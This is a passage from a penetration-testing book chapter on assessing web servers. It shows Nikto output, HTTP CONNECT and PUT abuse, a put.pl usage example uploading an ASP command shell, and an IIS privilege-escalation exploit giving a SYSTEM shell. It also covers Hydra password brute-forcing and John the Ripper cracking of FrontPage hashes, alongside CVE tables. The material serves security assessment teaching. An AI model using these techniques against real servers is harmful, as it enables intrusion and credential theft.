A number of Apache servers also have a Server Status page (such as CNN at http://www.cnn.com/server-status, shown in Figure 6-5) that reveals details of running Apache modules and virtual hosts, along with other information.

Figure 6-5. Apache Server Status page for CNN
Automated Scanning for Interesting Components

In particular, Nikto and N-Stalker are useful web server scanning tools that can be used to enumerate interesting components for specific web servers and virtual hosts. These tools are by no means conclusive (and do not test for all of the known issues and files I discuss in this section), but they do perform a lot of the basic legwork and give you insight into the server configuration.

Example 6-20 shows Nikto in use against a Microsoft IIS 5.0 web server.

Example 6-20. Running Nikto against an IIS 5.0 web server

$ nikto -h 141.50.82.64

- Nikto 1.36/1.39   - www.cirt.net
+ Target IP: 141.50.82.64
+ Target Hostname: windows
+ Target Port: 80

- Scan is dependent on "Server" string which can be faked, use -g to override
+ Server: Microsoft-IIS/5.0
+ OSVDB-630: IIS may reveal its internal IP in the Location header via a request to the /images directory. The value is "http://192.168.250.162/images/". CAN-2000-0649.
+ Allowed HTTP Methods: OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK
+ HTTP method ('Allow' Header): 'TRACE' is typically only used for debugging--it should be disabled. Note, this does not mean the server is vulnerable to XST. OSVDB-877.
+ HTTP method ('Allow' Header): 'DELETE' may allow clients to remove files on the web server.
+ HTTP method ('Allow' Header): 'PROPFIND' may indicate DAV/WebDAV is installed. This may be used to get directory listings if indexing is allowed but a default page exists. OSVDB-13431.
+ HTTP method ('Allow' Header): 'PROPPATCH' may indicate DAV/WebDAV is installed.
+ HTTP method ('Allow' Header): 'SEARCH' may be used to get directory listings if Index Server is running. OSVDB-425.
+ Public HTTP Methods: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
+ HTTP method ('Public' Header): 'TRACE' is typically only used for debugging--it should be disabled. Note, this does not mean the server is vulnerable to XST. OSVDB-877.
+ HTTP method ('Public' Header): 'DELETE' may allow clients to remove files on the web server.
+ HTTP method ('Public' Header): 'PUT' method may allow clients to save files on the web server.
+ HTTP method ('Public' Header): 'PROPFIND' may indicate DAV/WebDAV is installed. This may be used to get directory listings if indexing is allowed but a default page exists. OSVDB-13431.
+ HTTP method ('Public' Header): 'PROPPATCH' may indicate DAV/WebDAV is installed.
+ HTTP method ('Public' Header): 'SEARCH' may be used to get directory listings if Index Server is running. OSVDB-425.
+ Microsoft-IIS/5.0 appears to be outdated (4.0 for NT 4, 5.0 for Win2k)
+ / - Appears to be a default IIS install. (GET)
From this, we know the web server software in use (Microsoft IIS 5.0), and many elements of the configuration, including:

- HTTP 1.1 methods supported (PUT, DELETE, and TRACE)
- WebDAV method support (PROPFIND and SEARCH)
- Internal IP address and hostname of the server (192.168.250.162 and iis-server)
- ISAPI extensions in use (.printer in particular)
- Locations requiring authentication (/localstart.asp)

Investigating Known Vulnerabilities

Upon accurately fingerprinting the target web server and understanding the architecture and server-side components and subsystems in use, you can investigate and check for known vulnerabilities. This section explores known remotely exploitable issues in a number of common web servers and subsystems.

Generic Subsystem Vulnerabilities

The following relevant basic generic subsystems that are found running across a number of different Windows- and Unix-based web servers are as follows:

- HTTP 1.1 methods (primarily CONNECT, TRACE, PUT, and DELETE)
- WebDAV
- PHP
Known weaknesses and vulnerabilities in these components are discussed here.

**CONNECT vulnerabilities**

As discussed earlier in this chapter, some web servers and proxy mechanisms in complex environments support the HTTP CONNECT method. Attackers and spammers can abuse the method to establish connections with arbitrary hosts.

To proxy a connection to TCP port 25 of maila.microsoft.com through a vulnerable host, supply the following HTTP CONNECT request (followed by two carriage returns):

```
$ telnet www.example.org 80
Trying 192.168.0.14...
Connected to 192.168.0.14.
Escape character is '^]'.
CONNECT maila.microsoft.com:25 HTTP/1.0
```

HTTP/1.0 200 Connection established
220 inet-imc-02.redmond.corp.microsoft.com Microsoft.com ESMTP Server

Depending on configuration, a valid Host: field must sometimes be included in the request to produce a positive response.

**TRACE vulnerabilities**

If the TRACE method is supported and the web server is running a poorly written application that is vulnerable to cross-site scripting (XSS), a cross-site tracing (XST) attack can be launched to compromise user cookie and session information. If the web server is running a static site with no server-side application or processing of user data, the impact of TRACE support is significantly reduced.

Enhancements to the security of web browsers and clients (such as Internet Explorer 6 SP1 and later) mean that standard XSS attacks are no longer widely effective. XST is an attack class developed by Jeremiah Grossman in 2003 that allows authentication details presented in HTTP headers (including cookies and base64-encoded authentication strings) to be compromised using a combination of XSS, client-side weaknesses, and support for the HTTP TRACE method server-side. Grossman developed the attack class in response to the enhanced security mechanisms introduced by Microsoft in Internet Explorer 6 SP1, which meant that the effectiveness of XSS was significantly reduced.

Papers discussing XST can be found at the following locations:

http://www.securiteam.com/securityreviews/5YP0L1FHFC.html
http://en.wikipedia.org/wiki/Cross-site_tracing

XST depends on the following to launch an effective remote attack:
Domain restriction bypass

The ability for a client-side script to bypass browser security policy settings and send data to web sites outside the domain that is being accessed

HTTP request-enabling technologies

Support for scripting languages client-side that can establish outbound HTTP connections (to push the stolen authentication credentials to a given location)

TRACE method support

The target web server that supports the TRACE method

Upon finding and seeding an XSS bug within the target web site, we call scripting languages client-side that perform a TRACE to the web server, and then push the output to our malicious server.

Good background information relating to basic XSS attacks can be found at the following locations:

http://www.owasp.org/index.php/Cross_Site_Scripting
http://www.cert.org/archive/pdf/cross_site_scripting.pdf
http://en.wikipedia.org/wiki/Cross-site_scripting

PUT and DELETE vulnerabilities

Web servers supporting PUT and DELETE methods can be attacked to upload, modify, and remove content server-side. If permissions are incorrectly set on the web server and its directories, attackers can use these methods to modify content on the server itself.

To identify world-writable directories, attackers assess responses to HTTP PUT requests. Examples 6-21 and 6-22 show manual permissions assessment of the web root (/) and /scripts directories found on www.example.org. Example 6-21 shows the PUT command used to create /test.txt remotely. This fails, as the web root isn’t world-writable.

Example 6-21. Using the HTTP PUT method, but failing

```
$ telnet www.example.org 80
Trying 192.168.189.52...
Connected to www.example.org.
Escape character is '^]'.
PUT /test.txt HTTP/1.1
Host: www.example.org
Content-Length: 16

HTTP/1.1 403 Access Forbidden
Server: Microsoft-IIS/5.0
Date: Wed, 10 Sep 2003 15:33:13 GMT
Connection: close
Content-Length: 495
Content-Type: text/html
```
Example 6-22 shows how to use the PUT command to create `/scripts/test.txt` successfully because the `/scripts/` directory is world-writable.

**Example 6-22. Using the HTTP PUT method successfully**

```
$ telnet www.example.org 80
Trying 192.168.189.52...
Connected to www.example.org.
Escape character is '^]'.
PUT /scripts/test.txt HTTP/1.1
Host: www.example.org
Content-Length: 16

HTTP/1.1 100 Continue
Server: Microsoft-IIS/5.0
Date: Thu, 28 Jul 2003 12:18:32 GMT

HTTP/1.1 201 Created
Server: Microsoft-IIS/5.0
Date: Thu, 28 Jul 2003 12:18:38 GMT
Location: http://www.example.org/scripts/test.txt
Content-Length: 0
Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, LOCK, UNLOCK
```

H D Moore wrote a simple Perl script to upload content to web servers; it’s available at `http://examples.oreilly.com/networksa/tools/put.pl`.

It isn’t possible to know the write permissions that are set for folders on a remote web server. Therefore, `put.pl` should be used against all known server-side directories that are found to support the PUT method (through analyzing responses to OPTIONS queries). Example 6-23 summarizes the `put.pl` script usage and options.

**Example 6-23. Command-line options for put.pl**

```
$ ./put.pl
  *- --[ ./put.pl v1.0 - H D Moore <hdmoore@digitaldefense.net>

Usage: ./put.pl -h <host> -r <remote> -f <local> -p <port>
    -h <host>         = host you want to attack
    -r <remote>       = remote file name
    -f <local>        = local file name
    -p <port>         = web server port

Other Options:
    -x              = ssl mode
    -v              = verbose

Example:
    ./put.pl -h target -r /cmdasp.asp -f cmdasp.asp
```
If you can upload and modify files to a given directory or location server-side, you should also be able to remove content from the given location or directory using the DELETE method.

**WebDAV vulnerabilities**

Most WebDAV methods require valid credentials or misconfigured server permissions to use, as they involve modifying permissions and settings of files and content (known as resources) server-side. Of the seven generic WebDAV methods, PROPFIND is the most useful, as it is publicly accessible in most cases. Table 6-3 lists known issues relating to this method.

![Table 6-3. Remotely exploitable PROPFIND issues](image)

<table>
<thead>
<tr>
<th>CVE reference</th>
<th>Affected software</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-0422</td>
<td>Microsoft IIS 5.0 and 5.1</td>
<td>Information disclosure, including internal IP address, through PROPFIND, WRITE, and MKCOL methods</td>
</tr>
<tr>
<td>CVE-2000-0869</td>
<td>Apache 1.3.12</td>
<td>PROPFIND directory listing vulnerability</td>
</tr>
</tbody>
</table>

Example 6-24 shows PROPFIND being used to obtain internal IP address information from a Microsoft IIS 5.0 web server.

**Example 6-24. IIS 5.0 PROPFIND IP address disclosure**

```bash
$ telnet www.example.org 80
Trying 83.15.20.14...
Connected to 83.15.20.14.
Escape character is '^]'.
PROPFIND / HTTP/1.0
Content-Length: 0

HTTP/1.1 207 Multi-Status
Server: Microsoft-IIS/5.0
Date: Wed, 18 Jul 2007 14:21:50 GMT
Content-Type: text/xml
Content-Length: 796

<?xml version="1.0"?>
<multistatus xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00a000c14882" xmlns:c="xml:" xmlns:a="DAV:"
```

Other Microsoft IIS WebDAV methods (such as SEARCH) are vulnerable to attack. Vulnerabilities in these proprietary methods are covered later in this chapter.
PHP subsystem vulnerabilities

Servers that support PHP (identified through checking Server: and X-Powered-By: fields returned by the server from HTTP querying, or through identifying PHP scripts by crawling web sites) are susceptible to a number of known issues, listed in Table 6-4. There are an extremely large number of PHP issues in MITRE CVE at the time of this writing, so I have included the top 15 bugs from this year so far, along with a handful of older serious issues.

Table 6-4. Remotely exploitable PHP issues

<table>
<thead>
<tr>
<th>CVE reference</th>
<th>Affected software</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2007-2872</td>
<td>PHP 5.2.2</td>
<td>chunk_split() function overflow resulting in arbitrary code execution</td>
</tr>
<tr>
<td>CVE-2007-2478</td>
<td>PHP 5.2.1</td>
<td>Information leak to context-dependent attackers</td>
</tr>
<tr>
<td>CVE-2007-1900</td>
<td>PHP 5.2.1</td>
<td>FILTER_VALIDATE_EMAIL bug, allowing context-dependent attackers to inject arbitrary email headers</td>
</tr>
<tr>
<td>CVE-2007-1890</td>
<td>PHP 5.2.0 and 4.4.4</td>
<td>msg_receive() function integer overflow, resulting in arbitrary code execution under BSD-derived platforms and possibly others</td>
</tr>
<tr>
<td>CVE-2007-1887</td>
<td>PHP 5.2.0 and 4.4.4</td>
<td>sqlite_decode_binary() function allows context-dependent attackers to execute arbitrary code</td>
</tr>
<tr>
<td>CVE-2007-1886 and CVE-2007-1885</td>
<td>PHP 5.2.0 and 4.4.4</td>
<td>str_replace() function integer overflows resulting in code execution</td>
</tr>
<tr>
<td>CVE-2007-1884</td>
<td>PHP 5.2.0 and 4.4.4 on 64-bit machines</td>
<td>Multiple integer signedness issues resulting in code execution</td>
</tr>
<tr>
<td>CVE-2007-1883</td>
<td>PHP 5.2.1 and 4.4.6</td>
<td>Information leak to context-dependent attackers</td>
</tr>
<tr>
<td>CVE-2007-1864</td>
<td>PHP 5.2.1 and 4.4.5</td>
<td>PHP libxmlrpc library overflow</td>
</tr>
<tr>
<td>CVE-2007-1825</td>
<td>PHP 5.2.0 and 4.4.4</td>
<td>imap_mail_compose() function overflow resulting in arbitrary code execution</td>
</tr>
<tr>
<td>CVE-2007-1709</td>
<td>PHP 5.2.1</td>
<td>confirm_phpdoc_compiled() function overflow via long argument string</td>
</tr>
<tr>
<td>CVE-2007-1701</td>
<td>PHP 5.2.0 and 4.4.4</td>
<td>Remote arbitrary code execution by context-dependent attackers when register_globals is enabled</td>
</tr>
<tr>
<td>CVE-2007-1700</td>
<td>PHP 5.2.0 and 4.4.4</td>
<td>Session register overflow resulting in arbitrary code execution</td>
</tr>
<tr>
<td>CVE-2007-1649</td>
<td>PHP 5.2.1</td>
<td>Information leak to context-dependent attackers</td>
</tr>
<tr>
<td>CVE-2007-1584</td>
<td>PHP 5.2.0</td>
<td>Header function overflow resulting in arbitrary code execution</td>
</tr>
<tr>
<td>CVE-2004-0542</td>
<td>PHP 4.3.6 on Win32 platforms</td>
<td>Metacharacters are not properly filtered, allowing remote attackers to execute arbitrary code, overwrite files, and access internal environment variables</td>
</tr>
<tr>
<td>CVE-2004-0263</td>
<td>PHP 4.3.4 on Apache</td>
<td>Global variable leak between virtual hosts, allowing remote attackers to obtain sensitive information</td>
</tr>
<tr>
<td>CVE-2003-0172</td>
<td>PHP 4.3.1 on Win32 platforms</td>
<td>Long filename argument overflow</td>
</tr>
<tr>
<td>CVE-2002-0081</td>
<td>PHP 4.1.1</td>
<td>php_mime_split() function overflow resulting in remote arbitrary code execution</td>
</tr>
</tbody>
</table>
A number of these issues are triggered upon accessing specific PHP functions and mechanisms, and so either vulnerable PHP scripts must be identified and the overflow data passed through to the vulnerable backend functions, or specially crafted PHP files must be written, uploaded to the server, and called to trigger the overflow.

CORE IMPACT supports two remotely exploitable bugs: CVE-2004-0594 (PHP 4.3.7 and earlier memory_limit() overflow) and CVE-2002-0081 (PHP 4.1.1 php_mime_split() overflow). Immunity CANVAS supports CVE-2004-0594 at the time of this writing.

Many PHP applications (including TikiWiki, WordPress, PostNuke, phpBB, phpMyAdmin, and vBulletin) have known weaknesses and vulnerabilities. These components can be identified through active web server scanning using tools such as Nikto and N-Stalker. Upon identifying these packages, investigate known weaknesses by checking the MITRE CVE list (http://cve.mitre.org) for current information.

A number of exploits relating to various web applications written in PHP are available from http://www.milw0rm.com. An interesting bug that affects a number of these software packages is CVE-2005-1921, which is supported by MSF.

**Microsoft Web Server and Subsystem Vulnerabilities**

A large number of vulnerabilities have been uncovered in Microsoft IIS and associated subsystems and components. Most of the serious remotely exploitable issues within IIS relate to older 5.0 deployments with missing service packs and security hot fixes. Microsoft IIS 6.0 and later includes a number of security enhancements that make remote exploitation difficult, and so the attack surface and level of vulnerability is reduced.

In the interests of keeping this book current and up-to-date, I have decided not to cover IIS 3.0 or 4.0 vulnerabilities in this section (please see the first edition of this book or older hacking books for details about exploiting these older unsupported web servers), and I will instead focus on IIS 5.0 and 6.0.

**IIS 5.0 vulnerabilities**

A significant number of remotely exploitable issues have been uncovered in the IIS 5.0 web server and its associated subsystems and components. The server has a large number of features enabled by default, which makes the surface of vulnerability large. Hardening processes and toolkits, including the Microsoft IIS lockdown and URLscan tools, must be used to improve resilience. IIS 5.1, the web server bundled with Windows XP Professional systems, is also covered in this section.

Table 6-5 lists remotely exploitable issues in IIS 5.0, excluding a number of obsolete issues (from 2001 and earlier). Vulnerabilities in subsystems used within IIS 5.0, such as ISAPI extensions and ASP components, are covered in later sections in this chapter.
At the time of this writing, two issues in Table 6-5 that are supported by MSF, Immunity CANVAS, and CORE IMPACT are CVE-2003-0818 (IIS 5.0 and 5.1 NTLM authentication overflow) and CVE-2003-0719 (Microsoft SSL PCT overflow). As this book is going to print, Dave Aitel notified me that there is also CANVAS support for CVE-2002-0150 and CVE-2005-4360.

A good paper documenting the information leaks relating to CVE-2002-0419 was written by David Litchfield, available from http://www.ngssoftware.com/papers/iisrconfig.pdf.

### IIS 5.0 local privilege escalation exploit (CVE-2002-0869)

If an attacker has write access to an executable directory through exploiting server misconfiguration or a web application bug, he can elevate his privileges to SYSTEM and gain command-line server access by abusing a `dllhost.exe` out-of-process bug that affects Windows 2000 SP2 and earlier servers running IIS 5.0.

To exploit this bug, the attacker must upload and call a crafted DLL file. The `iissystem.zip` archive contains the DLL (`idq.dll`) and client utility (`isp.exe`) to undertake the attack, available from http://examples.oreilly.com/networksa/tools/iissystem.zip.

---

**Table 6-5. Microsoft IIS 5.0 vulnerabilities**

<table>
<thead>
<tr>
<th>CVE reference</th>
<th>MS advisory</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2005-4360</td>
<td>MS07-041</td>
<td>IIS 5.1 allows remote attackers to execute arbitrary code through multiple DLL requests</td>
</tr>
<tr>
<td>CVE-2005-2678</td>
<td>KB 906910</td>
<td>IIS 5.0 and 5.1 allow remote attackers to spoof the SERVER_NAME variable to bypass security checks</td>
</tr>
<tr>
<td>CVE-2005-2089</td>
<td>N/A</td>
<td>IIS 5.0 and 6.0 HTTP request smuggling vulnerability, resulting in web cache poisoning, web application firewall bypass, and cross-site scripting issues</td>
</tr>
<tr>
<td>CVE-2003-0818</td>
<td>MS04-007</td>
<td>The IIS 5.0 and 5.1 NTLM authentication mechanism is vulnerable to a heap overflow, resulting in arbitrary code execution</td>
</tr>
<tr>
<td>CVE-2003-0719</td>
<td>MS04-011</td>
<td>Microsoft SSL PCT overflow, resulting in arbitrary code execution under IIS 5.0</td>
</tr>
<tr>
<td>CVE-2002-1180</td>
<td>MS02-062</td>
<td>IIS 5.0 access permissions issue relating to COM file extensions allows malicious files to be uploaded and called</td>
</tr>
<tr>
<td>CVE-2002-0869</td>
<td>MS02-062</td>
<td>IIS 5.0 and 5.1 out-of-process privilege escalation vulnerability relating to dllhost.exe</td>
</tr>
<tr>
<td>CVE-2002-0419</td>
<td>N/A</td>
<td>Multiple IIS 5.0 and 5.1 information leak issues, revealing authentication mechanisms, Windows domain information, and internal IP address details</td>
</tr>
<tr>
<td>CVE-2002-0150</td>
<td>MS02-018</td>
<td>IIS 5.0 and 5.1 HTTP header overflow resulting in arbitrary code execution</td>
</tr>
<tr>
<td>CVE-2002-0148</td>
<td>MS02-018</td>
<td>IIS 5.0 and 5.1 “404 Error” page cross-site scripting bug</td>
</tr>
<tr>
<td>CVE-2002-0075</td>
<td>MS02-018</td>
<td>IIS 5.0 and 5.1 “302 Object Moved” redirect page cross-site scripting bug</td>
</tr>
<tr>
<td>CVE-2002-0074</td>
<td>MS02-018</td>
<td>IIS 5.0 and 5.1 help file search facility cross-site scripting bug</td>
</tr>
</tbody>
</table>
After uploading `idq.dll` to an executable directory (for example, `/scripts`, `/vti_bin`, or `/isadmnpwd`), the attacker calls it using the `ispc.exe` tool, as shown in Example 6-25. The DLL can also be called directly through a web browser, which adds a user account to the target host with administrative privileges.

Example 6-25. Gaining SYSTEM privileges by exploiting CVE-2002-0869

```
C:\> ispc 192.168.189.10/scripts/idq.dll
Start to connect to the server...
We Got It!
Please Press Some <Return> to Enter Shell...

Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1998 Microsoft Corp.

C:\WINNT\System32>
```

Matt Conover wrote a very similar IIS out-of-process exploit that elevates privileges to SYSTEM by uploading a crafted DLL (`iisoop.dll`) to an executable directory and calling it. The `iisoop.dll` source code is available for analysis from http://examples.oreilly.com/networksa/tools/iisoop.tgz.

IIS 6.0 vulnerabilities

The IIS 6.0 web server itself has a small number of remotely exploitable issues that allow attackers to bypass security restrictions and perform cross-site scripting and information leak attacks. Due to security improvements in IIS 6.0, including URLscan (a filtering mechanism that processes HTTP requests to the server before they are passed to underlying subsystems), a number of older classes of IIS vulnerability do not apply to IIS 6.0.

Table 6-6 lists remotely exploitable issues in IIS 6.0. Vulnerabilities in subsystems used within IIS 6.0, such as ASP and OWA components, are covered in later sections in this chapter.

### Table 6-6. Remotely exploitable Microsoft IIS 6.0 vulnerabilities

<table>
<thead>
<tr>
<th>CVE reference</th>
<th>MS advisory</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2007-2897</td>
<td>N/A</td>
<td>IIS 6.0 Denial of Service information leak and potential overflow issues relating to web server requests using DOS device names</td>
</tr>
<tr>
<td>CVE-2005-2089</td>
<td>N/A</td>
<td>IIS 5.0 and 6.0 HTTP request smuggling vulnerability, resulting in web cache poisoning, web application firewall bypass, and cross-site scripting issues</td>
</tr>
</tbody>
</table>

Practical exploitation of these issues to achieve something interesting or productive is difficult, as it depends on server-side configuration and settings. According to ISS X-Force and other sources, there is no Microsoft vendor patch or solution to CVE-2007-2897 at the time of this writing.
ASP and ASP.NET

Microsoft ASP and .NET Framework (ASP.NET) subsystems used by Microsoft IIS web servers have a number of known issues. These vulnerabilities are similar to PHP in that exposed functions and components of ASP are sometimes exploitable by crafting ASP scripts server-side and then calling them to exploit the vulnerabilities.

A very useful presentation by H D Moore regarding .NET framework testing, including ASP.NET probing and assessment can be found online at http://www.metasploit.com/users/hdm/confs/core02/slides.

Known vulnerabilities in ASP and ASP.NET subsystems are listed in Table 6-7, along with details of supported exploit frameworks. Immunity CANVAS and MSF have no support for these ASP overflows at this time, and so I list the issues supported by CORE IMPACT and the Argeniss ultimate 0day exploits pack for Immunity CANVAS.

Table 6-7. ASP and ASP.NET vulnerabilities and exploit framework support

<table>
<thead>
<tr>
<th>CVE reference</th>
<th>MS advisory</th>
<th>Bug type</th>
<th>Exploit framework support</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td></td>
<td>CORE IMPACT</td>
</tr>
<tr>
<td>CVE-2007-0042</td>
<td>MS07-040</td>
<td>Information leak</td>
<td></td>
</tr>
<tr>
<td>CVE-2007-0041</td>
<td>MS07-040</td>
<td>Remote Overflow</td>
<td></td>
</tr>
<tr>
<td>CVE-2006-7192</td>
<td>N/A</td>
<td>Cross-site scripting</td>
<td></td>
</tr>
<tr>
<td>CVE-2006-0026</td>
<td>MS06-034</td>
<td>Local privilege escalation</td>
<td>✔️</td>
</tr>
<tr>
<td>CVE-2005-1664</td>
<td>N/A</td>
<td>Session replay attack bug</td>
<td></td>
</tr>
<tr>
<td>CVE-2003-0223</td>
<td>MS03-018</td>
<td>Cross-site scripting</td>
<td></td>
</tr>
<tr>
<td>CVE-2002-0149</td>
<td>MS02-018</td>
<td>Remote overflow</td>
<td></td>
</tr>
<tr>
<td>CVE-2002-0079</td>
<td>MS02-018</td>
<td>Remote overflow</td>
<td></td>
</tr>
</tbody>
</table>

Public exploit archives have copies of exploits for two vulnerabilities listed in Table 6-7, as follows:

CVE-2006-0026 (http://www.milw0rm.com/exploits/2056)
CVE-2002-0149 (http://packetstormsecurity.org/0205-exploits/iis-asp-overflow.c)

Along with support for CVE-2006-0026, the Argeniss ultimate 0day exploits pack has a zero-day local privilege escalation exploit for ASP under IIS 6.0, described in the pack documentation as follows:

Name: IISRoot
Description: [0day] IIS remote elevation of privileges
Versions affected: IIS 6
Platform: Windows
Details: elevation of privileges vulnerability, needs default settings and to be able to upload .asp or .aspx page to run .exe exploit.
### ISAPI extensions

Numerous issues have been identified in Microsoft ISAPI extensions under IIS 4.0 and 5.0 (IIS 6.0 has request filtering functionality built in and most features such as ISAPI extensions are disabled by default). Remotely exploitable issues in ISAPI extensions are listed in Table 6-8 along with details of support in CORE IMPACT, Immunity CANVAS, and MSF. Investigation of the bugs, using references from MITRE CVE and other sites, provides examples of the information leak vulnerabilities and other peripheral issues listed here.

#### Table 6-8. ISAPI extension vulnerabilities and exploit framework support

<table>
<thead>
<tr>
<th>Extension</th>
<th>CVE reference</th>
<th>MS advisory</th>
<th>Bug type</th>
<th>Exploit framework support</th>
</tr>
</thead>
<tbody>
<tr>
<td>HTR</td>
<td>CVE-2002-0364</td>
<td>MS02-018</td>
<td>Remote overflow</td>
<td>✓</td>
</tr>
<tr>
<td>HTR</td>
<td>CVE-2002-0071</td>
<td>MS02-018</td>
<td>Remote overflow</td>
<td>✓</td>
</tr>
<tr>
<td>HTR</td>
<td>CVE-2001-0004</td>
<td>MS01-004</td>
<td>Information leak</td>
<td></td>
</tr>
<tr>
<td>HTR</td>
<td>CVE-2000-0630</td>
<td>MS00-044</td>
<td>Information leak</td>
<td></td>
</tr>
<tr>
<td>HTR</td>
<td>CVE-2000-0457</td>
<td>MS00-031</td>
<td>Information leak</td>
<td></td>
</tr>
<tr>
<td>HTW</td>
<td>CVE-2007-2815</td>
<td>KB 328832</td>
<td>Authentication bypass</td>
<td></td>
</tr>
<tr>
<td>HTW</td>
<td>CVE-2000-0942</td>
<td>MS00-084</td>
<td>Cross-site scripting</td>
<td></td>
</tr>
<tr>
<td>HTW</td>
<td>CVE-2000-0097</td>
<td>MS00-006</td>
<td>Information leak</td>
<td></td>
</tr>
<tr>
<td>IDA</td>
<td>CVE-2001-0500</td>
<td>MS01-033</td>
<td>Remote overflow</td>
<td>✓ ✓ ✓</td>
</tr>
<tr>
<td>PRINTER</td>
<td>CVE-2001-0241</td>
<td>MS01-023</td>
<td>Remote overflow</td>
<td>✓ ✓ ✓</td>
</tr>
<tr>
<td>SHTML</td>
<td>CVE-2003-0224</td>
<td>MS03-018</td>
<td>Privilege escalation</td>
<td></td>
</tr>
<tr>
<td>SHTML</td>
<td>CVE-2001-0506</td>
<td>MS01-044</td>
<td>Privilege escalation</td>
<td></td>
</tr>
</tbody>
</table>

#### Microsoft proprietary WebDAV extensions

There are three known issues relating to WebDAV methods used within Microsoft IIS 5.0 servers. These issues are listed in Table 6-9.

#### Table 6-9. Remotely exploitable Microsoft WebDAV vulnerabilities

<table>
<thead>
<tr>
<th>CVE reference</th>
<th>MS advisory</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2003-0109</td>
<td>MS03-007</td>
<td>SEARCH overflow, resulting in arbitrary code execution</td>
</tr>
<tr>
<td>CVE-2002-0422</td>
<td>KB 218180</td>
<td>Information disclosure, including internal IP address, through PROPFIND, WRITE, and MKCOL methods</td>
</tr>
<tr>
<td>CVE-2000-0951</td>
<td>KB 272079</td>
<td>Index Server misconfiguration, resulting in SEARCH directory listing</td>
</tr>
</tbody>
</table>

Microsoft FrontPage

FrontPage components have a number of known issues, ranging from information leaks to remote arbitrary code execution. I will list known issues and CVE references shortly, but before I do, I will first discuss two simple issues having to do with testing FrontPage authentication.

Upon calling Microsoft FrontPage authoring and administrative utilities (such as `_vti_bin/_vti_aut/author.dll`), a user will be presented with an authentication prompt, as shown in Example 6-26.

**Example 6-26. Authentication is required for author.dll**

```
$ telnet www.example.org 80
Trying 192.168.0.15...
Connected to www.example.org.
Escape character is '^]'.
HEAD /_vti_bin/_vti_aut/author.dll HTTP/1.1
Host: www.example.org

HTTP/1.1 401 Access denied
Server: Microsoft-IIS/5.0
Date: Sun, 15 Jul 2007 20:10:18 GMT
WWW-Authenticate: Negotiate
WWW-Authenticate: NTLM
WWW-Authenticate: Basic realm="www.example.org"
Content-Length: 0
```

The server response indicates that we can authenticate using Negotiate, NTLM, or Basic mechanisms. Attackers can perform brute-force password grinding against the web server, using THC Hydra, to compromise user passwords through Basic authentication, as shown in Example 6-27.

**Example 6-27. Brute-forcing the Basic authentication for author.dll**

```
$ hydra -l users.txt -P words.txt www.example.org http-head /_vti_bin/_vti_aut/author.dll
Hydra v5.3 (c) 2006 by van Hauser / THC - use allowed only for legal purposes.
Hydra (http://www.thc.org) starting at 2007-07-04 18:15:17
[DATA] 16 tasks, 1 servers, 1638 login tries (l:2/p:819), ~102 tries per task
[DATA] attacking service http-head on port 80
[STATUS] 792.00 tries/min, 792 tries in 00:01h, 846 todo in 00:02h
[80][www] host: 192.168.0.15 login: Administrator password: password
```

The only NTLM mechanism brute-force tool I know of is a custom-written Nikto plug-in (`nikto_ntlm.plugin`), which is covered in Chapter 4 of Justin Clarke and Nitesh Dhanjani’s book *Network Security Tools* (O’Reilly).

Poor FrontPage file permissions enable an attacker to access PWD files, which contain 56-bit DES encrypted password hashes. When cracked, these give access to FrontPage administrative components and allow attackers to upload new material. These files are usually found at the following locations:
The information in these PWD files usually looks like this:

```
# -FrontPage-
  ekendall:bYld1Sr73NLKo
  louisa:5zm94d7cdDFiQ
```

The username is found on the left and the DES password hash is on the right. If we modify the file so it looks like a Unix /etc/shadow file, we can load it into John the Ripper (http://www.openwall.com/john) and crack it, as shown in Example 6-28.

Example 6-28. Cracking the FrontPage PWD file

```
$ cat fp-hashes.txt
ekendall:bYld1Sr73NLKo:::::::
louisa:5zm94d7cdDFiQ:::::::
$ john fp-hashes.txt
loaded 2 passwords with 2 different salts (Standard DES [48/64 4K])
trumpet          (louisa)
```

The password for the louisa user account was found to be trumpet by using John the Ripper in its default configuration with a small dictionary file. The other password requires a larger dictionary file and more determined brute force to crack.

Outside of these two classes of brute-force password grinding issues, a number of other vulnerabilities exist in FrontPage components, as listed in Table 6-10.

Table 6-10. Remotely exploitable FrontPage vulnerabilities

<table>
<thead>
<tr>
<th>CVE reference</th>
<th>MS advisory</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2007-3109</td>
<td>N/A</td>
<td>The CERN Image Map Dispatcher (htimage.exe) in FrontPage allows remote attackers to perform web root path disclosure and determine the existence, and possibly partial contents, of arbitrary files under the web root.</td>
</tr>
<tr>
<td>CVE-2003-0822</td>
<td>MS03-051</td>
<td>A chunk-handling vulnerability in fp30reg.dll leads to arbitrary code being executed remotely under the IWAM_machinename context.</td>
</tr>
<tr>
<td>CVE-2002-0427</td>
<td>N/A</td>
<td>Buffer overflows in mod_frontpage before 1.6.1 may allow attackers to gain root privileges.</td>
</tr>
<tr>
<td>CVE-2001-0341</td>
<td>MS01-035</td>
<td>A buffer overflow in the RAD subcomponent of FrontPage allows remote attackers to execute arbitrary commands via a long registration request to fp30reg.dll.</td>
</tr>
<tr>
<td>CVE-2000-0114</td>
<td>N/A</td>
<td>FrontPage allows remote attackers to determine the name of the anonymous account via a POST request to shhtml.dll.</td>
</tr>
<tr>
<td>CVE-1999-1052</td>
<td>N/A</td>
<td>FrontPage stores form results in a world-readable default location /_private/form_results.txt, allowing remote attackers to read sensitive information.</td>
</tr>
</tbody>
</table>

A number of public exploit scripts exist for CVE-2003-0822 (fp30reg.dll overflow), and MSF also supports the vulnerability. CORE IMPACT and Immunity CANVAS also include this exploit module for Windows 2000 targets.
Outlook Web Access

